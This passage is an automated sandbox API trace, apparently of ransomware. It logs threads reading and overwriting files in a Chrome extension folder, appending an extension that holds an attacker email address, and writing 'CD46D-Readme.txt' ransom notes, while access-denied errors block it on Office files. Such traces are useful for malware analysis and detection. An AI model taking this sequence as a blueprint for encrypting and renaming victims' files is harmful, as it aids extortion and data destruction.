(HeapHandle=0x8c0000, Flags=0x8, Size=0x192) returned 0x935a70 [0201.879] FlushFileBuffers (hFile=0xe30) returned 1 [0201.897] CloseHandle (hObject=0xe30) returned 1 [0201.972] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x13c) returned 0x9b6470 [0201.972] wcscpy (in: _Dest=0x9b6470, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\" [0201.972] wcscat (in: _Dest=0x9b6470, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\CD46D-Readme.txt" [0201.972] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\cd46d-readme.txt")) returned 0xffffffff [0201.972] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0202.001] WriteFile (in: hFile=0x46c, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x2d0fd18, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x2d0fd18*=0x6fd, lpOverlapped=0x0) returned 1 [0202.008] CloseHandle (hObject=0x46c) returned 1 [0202.021] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b6470) returned 1 [0202.021] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a5ef8) returned 1 Thread: id = 8820 os_tid = 0x16d0 [0197.154] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json")) returned 0x2020 [0197.154] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json", dwFileAttributes=0x20) returned 1 [0200.199] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x130c [0200.200] GetFileSizeEx (in: hFile=0x130c, lpFileSize=0x4dffa74 | out: lpFileSize=0x4dffa74*=179) returned 1 [0200.200] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af230 [0200.200] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9096b8 [0200.200] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909550 [0200.200] NtQuerySystemTime (in: CurrentTime=0x4dff9d4 | out: CurrentTime=0x4dff9d4*=132174899747962000) returned 0x0 [0200.200] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x52733e1b [0200.200] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x6a6115ac [0200.200] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x411f4ce8 [0200.200] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x1772d3c1 [0200.200] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x787f031a [0200.200] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x60720f09 [0200.200] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x4de647c0 [0200.200] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x9d34627 [0200.200] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x6f1f0a48 [0200.200] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x5652a6f9 [0200.200] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x113527f0 [0200.200] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x4e112080 [0200.200] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x3547ba08 [0200.200] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x10ce7493 [0200.200] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x5cef439 [0200.200] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x36c8d8bc [0200.200] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x525f9218 [0200.200] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x52a6309 [0200.200] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x71f44627 [0200.200] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x5d3904ba [0200.200] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x4740b0a [0200.200] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x74c3dabf [0200.200] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x229f3266 [0200.201] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x43906674 [0200.201] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x3d6c7e34 [0200.201] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x57a5546c [0200.201] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x4d65bd80 [0200.201] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x31c10b50 [0200.201] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x11c1d261 [0200.201] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x6cb8acfb [0200.201] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x45de5a1a [0200.201] RtlRandomEx (in: Seed=0x4dff9e0 | out: Seed=0x4dff9e0) returned 0x35f9a850 [0200.212] ReadFile (in: hFile=0x130c, lpBuffer=0x134fd980, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x4dff9d0, lpOverlapped=0x0 | out: lpBuffer=0x134fd980*, lpNumberOfBytesRead=0x4dff9d0*=0xb3, lpOverlapped=0x0) returned 1 [0200.213] SetFilePointerEx (in: hFile=0x130c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.213] WriteFile (in: hFile=0x130c, lpBuffer=0x1350a188*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x4dff9cc, lpOverlapped=0x0 | out: lpBuffer=0x1350a188*, lpNumberOfBytesWritten=0x4dff9cc*=0xb3, lpOverlapped=0x0) returned 1 [0201.135] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5cd8 [0201.135] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5e68 [0201.135] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5e68) returned 1 [0201.135] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1350a188) returned 1 [0201.135] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134fd980) returned 1 [0201.135] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8bc0) returned 1 [0201.135] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f90f0) returned 1 [0201.135] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x938450 [0201.135] SetFilePointerEx (in: hFile=0x130c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.136] WriteFile (in: hFile=0x130c, lpBuffer=0x12cf5c98*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x4dffa34, lpOverlapped=0x0 | out: lpBuffer=0x12cf5c98*, lpNumberOfBytesWritten=0x4dffa34*=0x10b, lpOverlapped=0x0) returned 1 [0201.627] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5c98) returned 1 [0201.627] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938480) returned 1 [0201.627] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5e68) returned 1 [0201.627] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938450) returned 1 [0201.627] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5cd8) returned 1 [0201.627] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9096b8) returned 1 [0201.627] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909668) returned 1 [0201.627] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9099d8) returned 1 [0201.627] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17c) returned 0xd4c6828 [0201.627] wcscpy (in: _Dest=0xd4c6828, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json" [0201.627] wcscat (in: _Dest=0xd4c6828, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0201.627] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x4dff9ec, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.627] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x192) returned 0x933e48 [0201.812] FlushFileBuffers (hFile=0x130c) returned 1 [0201.824] CloseHandle (hObject=0x130c) returned 1 [0201.923] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x13c) returned 0x9b5510 [0201.923] wcscpy (in: _Dest=0x9b5510, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\" [0201.923] wcscat (in: _Dest=0x9b5510, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\CD46D-Readme.txt" [0201.923] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\cd46d-readme.txt")) returned 0xffffffff [0201.923] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14b8 [0202.052] WriteFile (in: hFile=0x14b8, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x4dff9f4, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x4dff9f4*=0x6fd, lpOverlapped=0x0) returned 1 [0202.053] CloseHandle (hObject=0x14b8) returned 1 [0202.054] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5510) returned 1 [0202.054] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a5db0) returned 1 Thread: id = 8821 os_tid = 0x165c [0197.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ELETEL_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eletel_u.vst")) returned 0x20 [0197.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ELETEL_U.VST", dwFileAttributes=0x20) returned 0 [0197.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ELETEL_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eletel_u.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0197.155] GetLastError () returned 0x5 [0197.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ELETEL_U.VST", dwFileAttributes=0x20) returned 0 [0197.155] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad7a8) returned 1 Thread: id = 8822 os_tid = 0x16d4 [0197.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EMBELL_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\embell_m.vss")) returned 0x20 [0197.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EMBELL_M.VSS", dwFileAttributes=0x20) returned 0 [0197.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EMBELL_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\embell_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0197.157] GetLastError () returned 0x5 [0197.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EMBELL_M.VSS", dwFileAttributes=0x20) returned 0 [0197.157] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae9c8) returned 1 Thread: id = 8823 os_tid = 0x16e8 [0197.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EMBELL_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\embell_u.vss")) returned 0x20 [0197.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EMBELL_U.VSS", dwFileAttributes=0x20) returned 0 [0197.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EMBELL_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\embell_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0197.158] GetLastError () returned 0x5 [0197.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EMBELL_U.VSS", dwFileAttributes=0x20) returned 0 [0197.158] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9acee8) returned 1 Thread: id = 8824 os_tid = 0x16ec [0197.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTAPP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\entapp_m.vss")) returned 0x20 [0198.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTAPP_M.VSS", dwFileAttributes=0x20) returned 0 [0198.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTAPP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\entapp_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0198.860] GetLastError () returned 0x5 [0198.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTAPP_M.VSS", dwFileAttributes=0x20) returned 0 [0198.860] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad848) returned 1 Thread: id = 8825 os_tid = 0x16f0 [0197.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTAPP_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\entapp_m.vst")) returned 0x20 [0198.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTAPP_M.VST", dwFileAttributes=0x20) returned 0 [0198.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTAPP_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\entapp_m.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0198.861] GetLastError () returned 0x5 [0198.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTAPP_M.VST", dwFileAttributes=0x20) returned 0 [0198.861] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae068) returned 1 Thread: id = 8826 os_tid = 0x16f8 [0197.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTAPP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\entapp_u.vss")) returned 0x20 [0198.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTAPP_U.VSS", dwFileAttributes=0x20) returned 0 [0198.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTAPP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\entapp_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0198.862] GetLastError () returned 0x5 [0198.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTAPP_U.VSS", dwFileAttributes=0x20) returned 0 [0198.863] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad0c8) returned 1 Thread: id = 8827 os_tid = 0x16fc [0197.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTAPP_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\entapp_u.vst")) returned 0x20 [0198.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTAPP_U.VST", dwFileAttributes=0x20) returned 0 [0198.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTAPP_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\entapp_u.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0198.864] GetLastError () returned 0x5 [0198.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTAPP_U.VST", dwFileAttributes=0x20) returned 0 [0198.864] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeb08) returned 1 Thread: id = 8828 os_tid = 0x1700 [0197.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTITY_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\entity_m.vss")) returned 0x20 [0198.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTITY_M.VSS", dwFileAttributes=0x20) returned 0 [0198.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTITY_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\entity_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0198.865] GetLastError () returned 0x5 [0198.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTITY_M.VSS", dwFileAttributes=0x20) returned 0 [0198.865] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae248) returned 1 Thread: id = 8829 os_tid = 0x1790 [0197.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTITY_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\entity_u.vss")) returned 0x20 [0198.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTITY_U.VSS", dwFileAttributes=0x20) returned 0 [0198.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTITY_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\entity_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0198.867] GetLastError () returned 0x5 [0198.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ENTITY_U.VSS", dwFileAttributes=0x20) returned 0 [0198.867] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad2a8) returned 1 Thread: id = 8830 os_tid = 0x1794 [0197.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EPC_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\epc_m.vss")) returned 0x20 [0198.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EPC_M.VSS", dwFileAttributes=0x20) returned 0 [0198.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EPC_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\epc_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0198.869] GetLastError () returned 0x5 [0198.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio 